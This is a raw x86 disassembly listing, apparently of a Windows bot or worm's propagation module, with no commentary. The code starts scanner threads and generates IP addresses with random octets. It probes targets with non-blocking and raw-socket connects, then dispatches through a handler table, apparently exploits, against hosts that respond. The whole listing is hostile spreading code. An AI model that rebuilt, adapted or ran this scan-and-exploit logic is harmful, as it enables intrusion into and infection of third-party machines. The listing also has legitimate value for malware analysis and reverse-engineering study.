		lea	eax, [ebp+var_204]
		push	dword_4E2CCC
		push	offset unk_4497B4
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40A7FD
		add	esp, 1Ch
		mov	dword_4E2CC4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E2AB8
		push	offset sub_4112A8
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, dword_4E2CC4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_40B307


loc_40B2F5:				; CODE XREF: sub_40B1CC+139j
		cmp	dword_4E2D58, ebx
		jnz	short loc_40B322
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_40B2F5
; ---------------------------------------------------------------------------


loc_40B307:				; CODE XREF: sub_40B1CC+127j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4497E8
		push	eax
		call	sub_41B740
		add	esp, 0Ch


loc_40B322:				; CODE XREF: sub_40B1CC+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_41458A
		mov	eax, dword_4E05C8
		mov	esi, offset dword_4E2D64
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4E2F74, eax
		mov	dword_4E2F70, ebx
		call	dword_4F132C	; GetModuleFileNameA
		push	103h
		push	edi
		push	offset dword_4E2E68
		call	sub_41B1F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4E2D60, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4E2FF8, eax
		push	7Fh
		jnz	short loc_40B3A3
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4E2F78
		call	sub_41B1F0
		add	esp, 0Ch
		mov	dword_4E2FFC, 1
		jmp	short loc_40B3BD
; ---------------------------------------------------------------------------


loc_40B3A3:				; CODE XREF: sub_40B1CC+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4E2F78
		call	sub_41B1F0
		add	esp, 0Ch
		mov	dword_4E2FFC, ebx


loc_40B3BD:				; CODE XREF: sub_40B1CC+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4E2F74
		push	offset unk_44981C
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40A7FD
		add	esp, 1Ch
		mov	dword_4E2F6C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E2D60
		push	offset sub_40E4A5
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, dword_4E2F6C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_40B42B


loc_40B419:				; CODE XREF: sub_40B1CC+25Dj
		cmp	dword_4E3000, ebx
		jnz	short loc_40B446
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_40B419
; ---------------------------------------------------------------------------


loc_40B42B:				; CODE XREF: sub_40B1CC+24Bj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_449850
		push	eax
		call	sub_41B740
		add	esp, 0Ch


loc_40B446:				; CODE XREF: sub_40B1CC+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_41458A
		pop	ecx


loc_40B453:				; CODE XREF: sub_40B1CC+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_4492BC[ecx], ebx
		jz	loc_40B57C
		push	7
		call	sub_40AA45
		test	eax, eax
		pop	ecx
		jnz	loc_40B576
		mov	eax, dword_4E3614
		cmp	[ebp+arg_90], bl
		mov	dword_4E2A24, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4E2A18, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4E2A20, ebx
		mov	dword_4E2AA8, eax
		push	7Fh
		jnz	short loc_40B4C7
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4E2A28
		call	sub_41B1F0
		add	esp, 0Ch
		mov	dword_4E2AAC, 1
		jmp	short loc_40B4E1
; ---------------------------------------------------------------------------


loc_40B4C7:				; CODE XREF: sub_40B1CC+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4E2A28
		call	sub_41B1F0
		add	esp, 0Ch
		mov	dword_4E2AAC, ebx


loc_40B4E1:				; CODE XREF: sub_40B1CC+2F9j
		push	dword_4E2A24
		lea	eax, [ebp+var_204]
		push	offset unk_449884
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40A7FD
		add	esp, 18h
		mov	dword_4E2A1C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E2A18
		push	offset sub_40E203
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, dword_4E2A1C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_40B54E


loc_40B53C:				; CODE XREF: sub_40B1CC+380j
		cmp	dword_4E2AB0, ebx
		jnz	short loc_40B569
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_40B53C
; ---------------------------------------------------------------------------


loc_40B54E:				; CODE XREF: sub_40B1CC+36Ej
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4498B4
		push	eax
		call	sub_41B740
		add	esp, 0Ch


loc_40B569:				; CODE XREF: sub_40B1CC+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_41458A
		pop	ecx


loc_40B576:				; CODE XREF: sub_40B1CC+2A8j
		mov	eax, [ebp+arg_130]


loc_40B57C:				; CODE XREF: sub_40B1CC+298j
		shl	eax, 6
		cmp	dword_4492B8[eax], ebx
		jz	loc_40B69E
		push	3
		call	sub_40AA45
		test	eax, eax
		pop	ecx
		jnz	loc_40B69E
		mov	esi, offset dword_4E3294
		push	104h
		push	esi
		push	ebx
		call	dword_4F132C	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_41C290
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40B5BD
		mov	[eax], bl


loc_40B5BD:				; CODE XREF: sub_40B1CC+3EDj
		mov	eax, dword_43A07C
		mov	dword_4E33AC, ebx
		mov	dword_4E3398, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4E300C
		call	sub_41B740
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4E3008, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4E3398
		mov	dword_4E33A4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4E33A8, ecx
		call	sub_40A019
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4498EC
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40A7FD
		add	esp, 20h
		mov	dword_4E33A0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E3008
		push	offset sub_40EBF0
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, dword_4E33A0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_40B676


loc_40B664:				; CODE XREF: sub_40B1CC+4A8j
		cmp	dword_4E33B4, ebx
		jnz	short loc_40B691
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_40B664
; ---------------------------------------------------------------------------


loc_40B676:				; CODE XREF: sub_40B1CC+496j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_449928
		push	eax
		call	sub_41B740
		add	esp, 0Ch


loc_40B691:				; CODE XREF: sub_40B1CC+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_41458A
		pop	ecx


loc_40B69E:				; CODE XREF: sub_40B1CC+14j
					; sub_40B1CC+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40B1CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B6A2	proc near		; CODE XREF: sub_40B9F0:loc_40BA61p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4E0A00h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4E07D8
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4E089C
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	near ptr sub_41C8D0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40B6A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B6EA	proc near		; CODE XREF: sub_40B9F0+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_418D00
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40B712
		xor	eax, eax
		jmp	short loc_40B783
; ---------------------------------------------------------------------------


loc_40B712:				; CODE XREF: sub_40B6EA+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D_0 ; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CC10
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40B73F
		call	sub_41B850
		mov	[ebp+var_C], eax


loc_40B73F:				; CODE XREF: sub_40B6EA+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40B74C
		call	sub_41B850
		mov	[ebp+var_8], eax


loc_40B74C:				; CODE XREF: sub_40B6EA+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40B759
		call	sub_41B850
		mov	[ebp+var_4], eax


loc_40B759:				; CODE XREF: sub_40B6EA+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40B765
		call	sub_41B850


loc_40B765:				; CODE XREF: sub_40B6EA+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4E0A00[ecx*8], eax


loc_40B783:				; CODE XREF: sub_40B6EA+26j
		pop	esi
		leave
		retn
sub_40B6EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B786	proc near		; CODE XREF: sub_40AFA4+59p
					; sub_40B9F0+B8p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4E091C
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40B7AF
		xor	eax, eax
		jmp	short loc_40B81E
; ---------------------------------------------------------------------------


loc_40B7AF:				; CODE XREF: sub_40B786+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4E08A0
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4E0938
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4E084C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4E0888
		push	esi
		mov	edi, eax
		call	dword_4E0934
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40B81E:				; CODE XREF: sub_40B786+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B786	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 10110h
		call	sub_41BC60
		push	ebx
		push	esi
		push	edi
		mov	edi, 2649h
		push	edi
		call	dword_4E08A0
		push	dword ptr [ebp+10h]
		mov	[ebp-28h], ax
		call	dword_4E08A0
		mov	[ebp-26h], ax
		call	sub_41B850
		xor	ebx, ebx
		push	200h
		mov	[ebp-24h], eax
		mov	[ebp-20h], ebx
		mov	[ebp-1Ch], bx
		mov	[ebp-0Ch], bx
		mov	word ptr [ebp-1Ah], 5
		mov	[ebp-18h], bx
		mov	word ptr [ebp-16h], 1
		mov	[ebp-14h], bx
		mov	[ebp-12h], bx
		mov	[ebp-10h], bx
		mov	[ebp-0Eh], bx
		call	dword_4E08A0
		mov	esi, [ebp+0Ch]
		mov	[ebp-0Ah], ax
		mov	eax, [ebp+8]
		push	24h
		mov	[ebp-8], bx
		mov	[ebp-6], bx
		mov	[ebp-58h], eax
		mov	[ebp-54h], esi
		mov	[ebp-50h], bl
		mov	byte ptr [ebp-4Fh], 6
		call	dword_4E08A0
		mov	[ebp-4Eh], ax
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	near ptr sub_41C8D0
		lea	eax, [ebp-58h]
		push	20h
		push	eax
		call	sub_40A072
		mov	[ebp-8], ax
		push	10h
		lea	eax, [ebp-38h]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 20h
		mov	word ptr [ebp-38h], 2
		push	dword ptr [ebp+10h]
		call	dword_4E08A0
		push	6
		push	3
		push	2
		mov	[ebp-36h], ax
		mov	[ebp-34h], esi
		mov	dword ptr [ebp-4], 10h
		call	dword_4E091C
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40B922
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_40B9E3
; ---------------------------------------------------------------------------


loc_40B922:				; CODE XREF: .nsp0:0040B916j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		push	esi
		call	dword_4E0900
		cmp	eax, 14h
		mov	[ebp+10h], eax
		jz	short loc_40B96B
		call	dword_4E083C
		push	eax
		lea	eax, [ebp-0D8h]
		push	dword ptr [ebp+10h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	eax
		call	sub_41B740
		lea	eax, [ebp-0D8h]
		push	eax
		call	sub_41458A
		add	esp, 14h
		jmp	short loc_40B9B4
; ---------------------------------------------------------------------------


loc_40B96B:				; CODE XREF: .nsp0:0040B93Dj
		push	10038h
		lea	eax, [ebp-10110h]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch


loc_40B980:				; CODE XREF: .nsp0:0040B9A7j
		cmp	[ebp-100FAh], di
		jz	short loc_40B9BD
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-10110h]
		push	10038h
		push	eax
		push	esi
		call	dword_4E0878
		test	eax, eax
		jge	short loc_40B980
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_41458A
		pop	ecx


loc_40B9B4:				; CODE XREF: .nsp0:0040B969j
		push	esi
		call	dword_4E0934
		jmp	short loc_40B9E9
; ---------------------------------------------------------------------------


loc_40B9BD:				; CODE XREF: .nsp0:0040B987j
		push	esi
		call	dword_4E0934
		cmp	word ptr [ebp-100EAh], 1
		jnz	short loc_40B9DE
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_41458A
		pop	ecx
		push	1
		pop	eax
		jmp	short loc_40B9EB
; ---------------------------------------------------------------------------


loc_40B9DE:				; CODE XREF: .nsp0:0040B9CCj
		push	offset aSocketClosed_ ;	"Socket	closed."


loc_40B9E3:				; CODE XREF: .nsp0:0040B91Dj
		call	sub_41458A
		pop	ecx


loc_40B9E9:				; CODE XREF: .nsp0:0040B9BBj
		xor	eax, eax


loc_40B9EB:				; CODE XREF: .nsp0:0040B9DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9F0	proc near		; DATA XREF: sub_40BC04+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40BA37:				; CODE XREF: sub_40B9F0+200j
		mov	eax, dword_4537CC[ebx]
		cmp	dword_4E0A04[eax*8], 0
		jz	loc_40BBF5
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40BA61
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40B6EA
		pop	ecx
		jmp	short loc_40BA66
; ---------------------------------------------------------------------------


loc_40BA61:				; CODE XREF: sub_40B9F0+60j
		call	sub_40B6A2


loc_40BA66:				; CODE XREF: sub_40B9F0+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_4537CC[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4499E0
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_4535C8[ebx]
		push	eax
		call	sub_41B740
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40B786
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40BBE5
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40BB3A
		push	offset dword_4E2A00
		call	dword_4F1390	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_449A18
		push	eax
		call	sub_41B740
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40BB1C
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40BB10
		lea	eax, [ebp+var_140]


loc_40BB10:				; CODE XREF: sub_40B9F0+118j
		push	eax
		push	[ebp+var_40]
		call	sub_408EB9
		add	esp, 14h


loc_40BB1C:				; CODE XREF: sub_40B9F0+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_41458A
		mov	[esp+2A8h+var_2A8], offset dword_4E2A00
		call	dword_4F138C	; RtlLeaveCriticalSection
		jmp	loc_40BBE5
; ---------------------------------------------------------------------------


loc_40BB3A:				; CODE XREF: sub_40B9F0+CDj
		push	edi
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B740
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B740
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40BB7E
		lea	eax, [ebp+var_140]


loc_40BB7E:				; CODE XREF: sub_40B9F0+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B740
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_4492AC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40BBE5:				; CODE XREF: sub_40B9F0+C3j
					; sub_40B9F0+145j
		push	7D0h
		call	dword_4F1334	; Sleep
		jmp	loc_40BA37
; ---------------------------------------------------------------------------


loc_40BBF5:				; CODE XREF: sub_40B9F0+55j
		push	esi
		call	sub_40AB19
		pop	ecx
		push	0
		call	dword_4F1388	; ExitThread
sub_40B9F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC04	proc near		; DATA XREF: sub_401CC1+1ABFo
					; sub_401CC1+541Bo

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4E08DC
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4E0A00[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40B1CC
		push	0Bh
		call	sub_40AA45
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40BCD2
		mov	esi, offset dword_4E2A00
		push	esi
		call	dword_4F1398	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4F1394	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40BCD2
		lea	eax, [ebp+var_1CC]
		push	offset unk_449A40
		push	eax
		call	sub_41B740
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40BCBC
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_408EB9
		add	esp, 14h


loc_40BCBC:				; CODE XREF: sub_40BC04+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_41458A
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40BCD2:				; CODE XREF: sub_40BC04+63j
					; sub_40BC04+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_4F1334
		mov	edi, ebx
		mov	dword_4E0A04[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40BD9F


loc_40BCF0:				; CODE XREF: sub_40BC04+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_449A74
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40A7FD
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_4537CC[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40B9F0
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_40BD6A


loc_40BD5F:				; CODE XREF: sub_40BC04+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40BD91
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_40BD5F
; ---------------------------------------------------------------------------


loc_40BD6A:				; CODE XREF: sub_40BC04+159j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_449AA8
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_41458A
		add	esp, 10h


loc_40BD91:				; CODE XREF: sub_40BC04+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40BCF0


loc_40BD9F:				; CODE XREF: sub_40BC04+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40BE49
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_40BDB4:				; CODE XREF: sub_40BC04+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4E0A00[eax*8]
		push	eax
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_449AE0
		push	eax
		call	sub_41B740
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40BE02
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_408EB9
		add	esp, 14h


loc_40BE02:				; CODE XREF: sub_40BC04+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_41458A
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_4E0A04[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40AA45
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40BE39
		push	offset dword_4E2A00
		call	dword_4F1398	; RtlDeleteCriticalSection


loc_40BE39:				; CODE XREF: sub_40BC04+228j
		push	[ebp+var_2C]
		call	sub_40AB19
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_40BE49:				; CODE XREF: sub_40BC04+19Ej
					; sub_40BC04+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_4E0A04[eax*8], 1
		jnz	loc_40BDB4
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_40BE49
sub_40BC04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE63	proc near		; DATA XREF: sub_40BF30+7Bo
					; sub_40C021+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4E08A0
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4E091C
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40BF21
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4E084C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4537D4[ecx], esi
